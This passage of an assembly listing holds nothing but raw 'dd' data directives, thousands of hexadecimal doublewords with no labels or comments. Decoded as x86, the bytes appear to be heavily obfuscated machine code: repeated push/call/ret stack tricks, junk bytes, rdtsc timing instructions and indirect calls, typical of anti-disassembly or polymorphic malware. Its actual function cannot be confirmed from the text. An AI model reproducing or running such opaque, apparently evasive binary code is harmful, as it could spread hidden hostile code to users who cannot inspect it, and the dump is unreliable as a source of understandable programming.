678F2A67h, 0B4B564B3h, 6A5BA4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9CCC93C3h dd 0AE95Ah, 0D0A80000h, 5A4F764Ah, 25925D14h, 6AC32Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 8779D6C3h, 8343D41h, 860F0000h, 4Ch, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h, 0FC7236EFh dd 35E9FC3Fh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 1556C357h, 6653F570h dd 5F4127BFh, 8166C08Bh, 600E1BC7h, 7D9D89FCh, 6107E025h dd 0D88BC38Bh, 11810Fh, 800F0000h, 0Bh, 6E9h, 76CF4400h dd 0C7E5523Ah, 0E016A185h, 40991D07h, 11E831h, 71800000h dd 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh, 296722EAh, 0E01F659Dh dd 0C08B5E07h, 5CE78166h, 91BD8138h, 0D007E013h, 0F000007h dd 2E85h, 19BD8B00h, 0FF07E011h, 0E0139185h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0C266D1D5h, 0FFFAB70Fh, 0E01391B5h, 0FBBF0F07h, 18A995FFh dd 0BD8B07E0h, 7E01D79h, 5678B890h, 6A1234h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3508AEC3h dd 88B17AAEh, 458D8911h, 8B07E001h, 299D8DF7h, 0E907E3F1h dd 0FFFFF873h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0E2C35545h, 867EA415h, 0C18B007Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6BC35141h, 8C0F835Fh dd 1, 698D31F9h, 0F07E007h, 58Ah, 0E7816600h, 4EB2EA1h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DC35141h dd 58DBD23h, 10E807E0h, 0C6000000h, 17A9EBFh, 0E17BEC6Ch dd 831E448Ah, 891E4DDEh, 0E02955B5h, 9D895F07h, 7E01D5Dh dd 13C9858Dh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 520168C3h, 0F6BF0F1Ah, 7E890h, 0F9750000h dd 83FA23D5h, 28A0F1Ah, 60000000h, 66505E61h, 906332BEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 98C35242h dd 6684A024h, 0E747C681h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 6A0EC3h, 0F3CF8166h dd 13858DA6h, 3307E3F3h, 0E00901B5h, 5C08307h, 26658589h dd 665007E0h, 89E78CBEh, 6A2404h, 6A006AF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 5767C352h, 4FF319E0h, 95FF6271h, 7E03441h, 0A3939D8Dh dd 0D3FF07E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0B8C35646h, 0AEE5BC59h, 20FD85FFh, 72BE07E0h, 0E9753707h dd 0E69h, 0E8h, 0ED815D00h, 7E3F31Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0B7C35040h, 785AEBE3h, 0C78166AAh dd 0BF0F46B5h, 91BD81FBh, 0D007E013h, 0F000007h, 12F86h dd 12E800h, 0AB250000h, 5436B94Fh, 0D22A40C0h, 6B108923h dd 3C63B023h, 5EFA8B66h, 13599D8Bh, 8E0F07E0h, 6, 33E98589h dd 666007E0h, 80F2C9B8h, 8161DBCCh, 100E3h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 1EC58010h, 0B1F8FD2h, 87850FDBh, 89000000h, 0E000FD85h dd 0BD83F507h, 7E3F1C0h, 3A840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0F522C355h, 81E9h, 0C830F00h, 0E9000000h, 7, 8D55A283h dd 8999583Bh, 0E02AFD95h, 0C085C707h, 107E3F1h, 0F000000h dd 57E9FFB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 8203C357h, 67BC13E1h dd 5DD8589h, 85C707E0h, 7E3F1C0h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C5C35343h dd 25CE921Ch, 18C9BD89h, 9D8D07E0h, 7E01359h, 0FEFF2381h dd 0BD0BFFFFh, 7E02F0Dh, 6ADB8C66h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F1FC356h dd 48Eh, 88BF6600h, 14810F88h, 0E9000000h, 0Fh, 4949B5D3h dd 1D8EE255h, 5947D07Bh, 0F65F3051h, 840F04C3h, 4Dh, 14800F60h dd 0E9000000h, 0Fh, 5083B848h, 0C5B4F4ACh, 77F541DAh, 0F5DA0D3h dd 0FF61FABFh, 0E01AE995h, 0C334BE07h, 0E8906FFDh, 8, 0EA5501F5h dd 0B50EE8DBh, 2 dup(310F5250h), 585A585Ah, 0F90505Eh dd 84h, 460E900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 319026C3h, 0BD038295h dd 7E02161h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 2C072CC3h, 0BD8B3E92h, 7E0045Dh dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0D987C1C3h, 0A0DDAB43h, 31953147h, 0E407E019h dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 6036ED7Bh, 8970937Fh, 0E0201DB5h, 0D8B60F07h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 76C35343h dd 0EE8h, 1CAE700h, 8D0D565Ch, 0A1F30B63h, 60EE8929h, 2B61BD89h dd 12E907E0h, 82000000h, 1422794Bh, 102AAEA5h, 3672A082h dd 0B9BB5D9Fh, 0BA5E614Ah, 6, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0E0C35747h, 53A1B12h, 2CB9BD8Bh dd 0C38B07E0h, 6E8h, 91AE9A00h, 8B5A67C0h, 0E007ADBDh dd 0E8C15E07h, 0E2F76604h, 8E9h, 1739A100h, 132A834Ah dd 50D82B3Fh, 6A241C89h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 4124C350h, 0E9BDFE9Fh dd 2BAE847h, 0A399BF66h, 1391B5FFh, 0BD8907E0h, 7E020C9h dd 18A995FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 517F2EC3h, 51DB313Eh, 8B00B05Eh dd 6F22BEF8h, 70E67990h, 47943BFh, 6A71E447h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 2730C350h, 0B0A6F665h, 0B58B608Ch, 7E000F1h, 830F613Ch dd 272h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0BEC35242h, 0F5F210FAh, 0FF98B5Ah, 6AD8B6h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D9FA71C3h, 67F2BAB8h, 6BABCh, 0B5890000h, 7E004F9h dd 8D29C38Bh, 7E0321Dh, 6A04E8C1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89D2C352h dd 0E02D2D85h, 0E2F76607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 46C35343h, 0ABC40B36h, 310C8D8Ch, 0E01341BDh dd 81D82B07h, 0FFAB3AEEh, 6A584Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 2BD2DDC3h, 97880FD8h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 8FE5C351h, 0F68132E8h, 5E2290Eh dd 8E8h, 8BD68500h, 1255F9F5h, 9E9BEh, 1BD80000h, 6B2B7F68h dd 5F4766FCh, 7B9h, 958D8900h, 8307E020h, 9E900C1h, 36000000h dd 2474AD89h, 985D6A0Ch, 860FD93Bh, 132h, 1CA59D89h, 8D8907E0h dd 7E025C9h, 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 9377C352h, 26E1BD8Bh dd 0C1F607E0h, 0F2840F04h, 0F000000h, 880h, 0B58B6000h dd 7E00DF9h, 0E995FF61h, 6A07E01Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D1C8C357h dd 667E1DE3h, 0BF50C8BFh, 3B685A7Eh, 57006A5Bh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0D1AC5BC5h dd 0D3A6EBFFh, 595BD8Bh, 0C32B07E0h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 56C35242h, 5274739Eh, 6EA2B22Fh dd 9E992h, 0BDCD0000h, 0DF4CEEF6h, 3D94DF88h, 834h, 4B860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E9816EC3h, 2Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 52C35545h, 0F5BD8B5Eh, 8907E019h dd 0E0264D95h, 66C08B07h, 0C38BF88Bh, 8B66D88Bh, 0BD85C7FEh dd 0D307E008h, 6A57165Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F1AC356h, 589h, 60DDBE00h dd 0C08B3BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0B7C35040h, 717CC5Ch, 11E9h, 3722DA00h, 5AFA2841h dd 0B3CBFDD1h, 0B88D8008h, 0BD813B8Eh, 7E01391h, 7D0h dd 0E850Fh, 0F08B0000h, 139185FFh, 0BD2907E0h, 7E02EFDh dd 1391B5FFh, 8B6607E0h, 0FFB70FF1h, 18A995FFh, 6A07E0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0E33995C3h, 344DB58Bh, 409007E0h, 8E8h, 0E695FD00h dd 0B2DC8BCh, 78DF81D5h, 5F0ACEB8h, 2E71BD83h, 0F0007E0h dd 12284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 1FA41463h, 29D566AAh, 0E0083D95h dd 51BD8307h, 7E015h, 0ED840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A42B3AC3h dd 0F9641B84h, 2E7195FFh, 0BF507E0h, 0BC840FC0h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 77FDC352h, 4E005C4Bh, 2F018F74h, 12E8h, 0CDCA8B00h dd 68BBA603h, 0BE820E1Fh, 0AB398DB3h, 539526A3h, 850Fh dd 5E5F0000h, 4EE88D8Dh, 0DE907E0h, 0C1000000h, 17856AA4h dd 0BDC4C506h, 3BF4F167h, 5B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 179BEFCBh dd 708C0CCh, 6670CABFh, 6AE1FF3Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E564C352h dd 9CE86986h, 0BD8BB496h, 7E019FDh, 1800Fh, 83F50000h dd 0E02531BDh, 840F0007h, 5BDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0DDC35343h, 0BD9CA592h, 418589CFh dd 8307E004h, 0E01551BDh, 840F0007h, 589h, 8DFEBF0Fh, 0E011D18Dh dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0F2775E0Bh, 664D55E2h, 0C7D4F7BEh, 0B27C8401h dd 0CB018144h, 6A1499CFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 60F3C350h, 441C712h dd 0CE706B34h, 2C7DBD8Bh, 418107E0h, 0D6D71004h, 51006A31h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 3A89BD5Eh, 0BE66D5FBh, 6AC4FFh, 8DF8B70Fh dd 0E011D185h, 359D3107h, 5007E02Dh, 8870Fh, 52500000h dd 0F08B310Fh, 489585Ah, 0C6815324h, 4164ACD1h, 3195FF5Fh dd 6A07E025h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0F3B9C357h, 0F17773EFh, 0E96F0364h dd 13h, 97D27697h, 0CE0DD1CAh, 0A3C49CEh, 7AC51402h, 8D56ABE6h dd 0E011D18Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0BD8B2726h, 7E01099h dd 348D8D31h, 1C707E0h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BDC35646h dd 907BF05h, 41C794F2h, 4, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B78CF5D4h dd 0F0958F48h, 840FC00Bh, 76h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 70C35747h, 4EE88D8Dh, 6A07E0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 3B6BC8C3h, 5B8h, 0F5B58B00h, 0FF07E001h, 51006AE1h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0F49F975Dh, 14DBB6F9h, 2DD59589h, 8D8D07E0h, 7E011D1h dd 0C7F6BF0Fh, 0AA727C01h, 0F5BD0B44h, 8107E013h, 99CFCB01h dd 441C714h, 0CE78753Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 8C35343h, 0D6A89B52h, 0E87BE7F0h, 8 dd 0C1AFA075h, 0D18DBB81h, 5EF9BF0Fh, 10044181h, 6A31D6D7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0B566C356h, 0E9006A0Eh, 0Eh, 842759E5h, 0C6C249FCh dd 2B52F8D0h, 858DA6FCh, 7E011D1h, 3065B589h, 0E99007E0h dd 14h, 38A766DCh, 3B931896h, 0A4D37B16h, 84E9E8ACh, 1F32304Eh dd 52506050h, 310F5E57h, 880Fh, 585A0000h, 0F525057h, 5E585A31h dd 0FFFC9061h, 0E0253195h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8D890124h dd 7E013B5h, 11D18D8Dh, 1C707E0h, 0 dd 441C7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 3DA1C356h, 0A55E49D0h, 0C00BE690h dd 5C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0E0C1ACC3h, 8BAC5723h, 0E011C5BDh dd 0E88D8D07h, 0BE07E04Eh, 2F9D4A59h, 5B8h, 5E800h, 0BD8A0000h dd 0E918A81Dh, 0Bh, 444F80BAh, 0B50B4DCDh, 5F12BD91h, 6660E1FFh dd 8A886ABAh, 8D8D61F0h, 7E011D1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 4AC35545h, 800FE5h, 0C7000000h dd 0CA95A501h, 8589F854h, 7E02895h, 0CFCB0181h, 6A1499h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 5B4A5FC3h, 1C926A5Bh, 2AF1B58Bh, 41C707E0h, 5F596904h dd 71B58BCEh, 8107E01Dh, 0D7100441h, 6A31D6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 321DCFC3h dd 554FF78Ah, 0FE88208h, 84h, 0FC006A00h, 11D1858Dh, 6A07E0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 752FCC3h, 0FB8B90E2h, 0EA7EBF50h, 66903342h, 8A0FFA8Bh dd 5, 8EE32FBFh, 3195FF35h, 6007E025h, 59B58B51h, 5807E01Ch dd 0DCA1E181h, 8D611338h, 0E011D18Dh, 0CDB58B07h, 0C707E005h dd 1, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0C7F5C29Fh, 441h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 1DF768C3h, 0DE91846Ah, 0FC00BB3h, 9C84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 593CA6AAh, 0B70F2228h, 0E88D8DFEh, 6A07E04Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6A13C350h, 0A728CBAh, 5DDCACF8h, 0CE9h, 511B3F00h, 696D1782h dd 898A305h, 5B84Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 47FF1DC3h, 567EF4AEh dd 0A890Fh, 8A0F0000h, 4, 872DBF66h, 0FC53E1FFh, 0E9CA035Fh dd 0FFFFF1B4h, 0AE8h, 4BB03B00h, 0EC02F2D7h, 605FEAB1h dd 17E18D89h, 13B807E0h, 612D3C88h, 89C18B5Eh, 0E00FF1B5h dd 4EB07h, 89000000h, 0E01A6195h, 94E68107h, 8D05D75Ch dd 0E013C985h, 0BD9D8907h, 5007E01Dh, 89FA8B66h, 9D292404h dd 7E0304Dh, 6A006Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 39C35040h, 84FF64ADh, 0D3A75714h, 0BE9D0h dd 36F40000h, 355B8CD9h, 947E429Fh, 0A7858D23h, 6A07E402h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 87BC356h, 95895AF8h, 7E02F1Dh, 0E905C083h dd 0Bh, 0A28EE117h, 0B2F8B072h, 2975EF85h, 0E02B35B5h dd 51509007h, 8F0F51h, 5F000000h, 8B60905Eh, 0E01375B5h dd 4E99B807h, 6A611A44h, 0D1B58B00h, 6A07E021h, 0B4BF6600h dd 4195FFA4h, 6A07E034h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F559C351h, 0A3939D8Dh dd 0D3FF07E3h, 10E952h, 18D80000h, 5798E8F5h, 5E7ACDCBh dd 983D9990h, 0FF5E1292h, 0E020FD85h, 45B58B07h, 0E907E034h dd 8A1h, 0E8h, 0ED815D00h, 7E402B1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 7DC35040h, 2850FB7h, 8B000000h dd 6850FF2h, 89000000h, 0E00451BDh, 91BD8107h, 0D007E013h dd 0F000007h, 1AB86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0AFD17C6Dh, 18C0F28h dd 0FC000000h, 0E19D8Bh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 7A4964C3h, 0E38192h dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0B4B5C357h, 66ACBFA4h, 0B0A93BEh dd 0C2850FDBh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 2D4BC351h, 554117Ch dd 197C7E0h, 0E01FBD9Dh, 8BBD8307h, 7E401h, 29840Fh, 0F18B0000h dd 91E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 59858998h, 0C707E02Ch, 0E4018B85h dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 792B65FAh, 15A1B58Bh, 3BE907E0h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 2F0CC356h, 88D0Fh, 8D0F0000h dd 2, 0BF0F6160h, 8B85C7FBh, 7E401h, 66000000h, 9D8DF18Bh dd 7E000E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 26C35747h, 0D1015957h, 33A39FAh, 0E01CB9B5h, 66605307h dd 8589C38Bh, 7E01D1Dh, 11E95E61h, 1B000000h, 0E4E7D30Ch dd 76FDCA9Bh, 0E54E7318h, 0A14268E8h, 0FEFF2381h, 0BD8BFFFFh dd 7E01101h, 8BDB8C66h, 0E01BC9B5h, 4C3F607h, 49840Fh dd 0BE660000h, 0F88BB7D2h, 1AE995FFh, 0B06007E0h, 0AD95891Ah dd 6107E02Dh, 50F88B90h, 0AE9h, 4DB0ED00h, 83FCB650h, 90F0FDF4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D9C35040h dd 0E95EE187h, 414h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 8FC35343h, 0FB8506D7h, 0DFDE8166h, 6A00B004h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 9836C352h, 3F778165h, 3C24A44Bh, 7E8h, 0AF0A4300h dd 0F0194F0Bh, 9E9h, 98FB9F00h, 8D7CE9F0h, 895E20FCh, 0E0011585h dd 6670E607h, 0B166D781h, 8A0F71E4h, 6, 2AA18D89h, 0B60F07E0h dd 199589D8h, 0BA07E018h, 6, 8D89C38Bh, 7E02065h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D7E3C352h, 0D1FA393Ah, 0BF0FD41Dh, 0E2F766FFh dd 3B22DE81h, 0D82B4544h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 21C35040h, 0BE850BEh, 0D3000000h, 3B590111h dd 108712B4h, 0BD8B81B9h, 7E013CDh, 8B66935Eh, 525050F0h dd 60616060h, 310F6161h, 585AFE8Bh, 85BF6693h, 91B5FF69h dd 6A07E013h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 29AAC357h, 767B8B8Ch, 0A995FFDEh dd 107E018h, 0E00729BDh, 6A00B007h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B656C351h dd 11E9C7AAh, 37000000h, 937CE7DBh, 9C6A85BFh, 2466DB98h dd 0C07CC6A6h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 1B2CBEC3h, 0E4729D8Ch, 0F613C71h dd 26383h, 0FFE8B00h, 0F28BD8B6h, 6BAh, 11E96000h, 2D000000h dd 0A384EC47h, 0A23BBF49h, 5F91671Dh, 0A0030769h dd 0BE9h, 923AB600h, 3071EDCCh, 6A830A3Fh, 6AC38B61h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 3337C352h, 0E012A5B5h, 4E8C107h, 6AE2F766h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E227C351h, 0FDD3E278h, 4A1289C5h, 66D82BF9h, 58E129BFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A7C35646h dd 0CFE49BBEh, 0CE844h, 6C230000h, 2B45C976h, 6C82A419h dd 10E94667h, 86000000h, 19D812B7h, 0F4EBA5BBh, 3655A565h dd 5E816598h, 880FD82Bh, 188h, 0AF14C2BFh, 7B930h, 0C1830000h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0B2C86BF7h, 66446035h, 0FCFFBBFh, 81h, 0FD93B00h dd 14786h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0FCF5373h, 854AC905h, 0BD89FA37h dd 7E03015h, 0E8D98C66h, 11h, 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h dd 475F0F49h, 0EE8166CEh, 0F65EC03Ch, 840F04C1h, 0ECh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 66C35545h dd 7E98C993h, 95FF9912h, 7E01AE9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0BC35747h, 0CFAE309Ah, 9AA37FB0h dd 10E9h, 0FA2A3800h, 34DCF5A4h, 4F709B2h, 0F2262692h dd 55BD893Bh, 5B07E00Fh, 1D95BD8Bh, 0C32B07E0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 72C35242h, 0E82A963Ah dd 649EE147h, 8343DF8h, 860F0000h, 4Ch, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0E6C35747h, 0E95F5060h dd 30h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 4FC35040h, 24EA5470h, 0C7E1AE2Ah, 0DBF3BF66h, 0B58BC08Bh dd 7E01AA9h, 0D88BC38Bh, 6E1B58Bh, 85C707E0h, 7E01359h dd 1FBB79DBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 1C35242h, 0D471C9FAh, 9D3169F7h, 7E00849h, 0B58BC08Bh dd 7E0090Dh, 13E8h, 70099500h, 335F5BCEh, 0FCDA4E0Eh, 728BC547h dd 0CE0582FFh, 7B5BD8Bh, 815E07E0h, 0E01391BDh, 7D007h dd 2E850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 1CEAC357h, 0D2BBE0E9h dd 9185FFEAh, 8107E013h, 6BAFDECFh, 91B5FF29h, 6A07E013h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 3D7CC353h, 8E852DDh, 0AF000000h, 0D6E77FAh dd 5F16F695h, 0DE9h, 0DB3E9B00h, 0B839E81Ch, 0E11BAF9Ah dd 95FFF92Ah, 7E018A9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 2AC35141h, 1553219Fh, 2983BA4Bh, 0E000099Dh dd 0CE89007h, 41000000h, 0D20EEF58h, 0D527205Fh, 66406FC1h dd 5E21C2BEh, 0BCA3D781h, 6A5B81h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 83D80CC3h, 147BD130h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CFC35747h dd 668A321Dh, 0E13CF81h, 2F3D9D01h, 8B6607E0h, 0F2B70FF9h dd 0CE81F98Bh, 37364F8Ah, 1B51B589h, 6A07E0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 1AFD46C3h dd 0B7ED6243h, 0A5C9DE81h, 6A4CA6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C3AAAAC3h dd 6A133EA3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 8DA2C351h, 8B661CD2h, 9D8B60F9h dd 7E02679h, 1B75BD89h, 858B07E0h, 7E01FA1h, 0DDBD8B61h dd 0E907E01Ah, 0FFFFF778h, 1941B58Bh, 896007E0h, 0E0210D8Dh dd 79B58B07h, 0B807E033h, 3EBC1889h, 0EBC18B61h, 4, 25BD8B00h dd 2907E033h, 0E0127D9Dh, 0C9858D07h, 8907E013h, 0E028D9B5h dd 5E575007h, 6A240489h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0A77C7BB9h, 6A006A7Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0ABDC350h, 23BEA519h, 8D661ED6h, 0E40CE885h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 5C08384h, 13E8h, 0B4255C00h, 2B67E54h, 0CDB17908h dd 0A413A9F8h, 10C7D3ECh, 860Fh, 905F0000h, 50FA8B66h dd 9930E2BFh, 6A9000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0F2989DC3h, 0D2A0228Dh, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 8E095BC3h, 770E3A3Ah, 21299509h, 6A07E0h, 13C5B58Bh dd 95FF07E0h, 7E03441h, 0D2BF0F60h, 21998D03h, 8D6107E0h dd 0E3A3939Dh, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0A3EA8D4Ah, 0BD0B5597h dd 7E00099h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0FF378DC3h, 0E020FD85h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 60767591h, 0B58B88BFh, 7E01AF5h, 8A1E9h, 0E800h, 815D0000h dd 0E40CF2EDh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 2F5C8816h, 0F5C2F9Ch dd 0BD81F9B7h, 7E01391h, 7D0h, 170860Fh, 81660000h, 8B7DF7C7h dd 0E01B1D9Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 